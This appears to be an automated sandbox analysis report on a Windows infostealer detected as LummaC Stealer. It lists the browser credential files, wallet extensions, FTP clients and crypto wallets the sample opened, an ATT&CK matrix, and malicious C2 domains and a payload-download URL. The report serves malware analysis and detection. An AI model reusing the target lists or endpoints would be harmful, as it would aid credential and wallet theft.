Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4952, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4952, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
necklacedmny.store	188.114.97.3	true	true	unknown
presticitpo.store	unknown	unknown	true	unknown
thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
https://necklacedmny.store/api	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeeh	file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/=	file.exe, 00000000.00000003.2193027266.0000000000807000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/E2	file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217103827.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exee	file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/api	file.exe, 00000000.00000003.2245411232.000000000082E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.0000000000837000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/X/ztlxfXsIh/	file.exe, 00000000.00000003.2309003322.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213460047.0000000005419000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2225063066.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2318007620.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245097313.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2190144483.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apie6	file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/api:	file.exe, 00000000.00000003.2245335113.0000000000844000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2225262073.0000000000842000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213608324.0000000000845000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217208145.0000000000844000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apin3	file.exe, 00000000.00000003.2143002387.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.stoF	file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.mic	MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2451211163.000000000117B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiG	file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
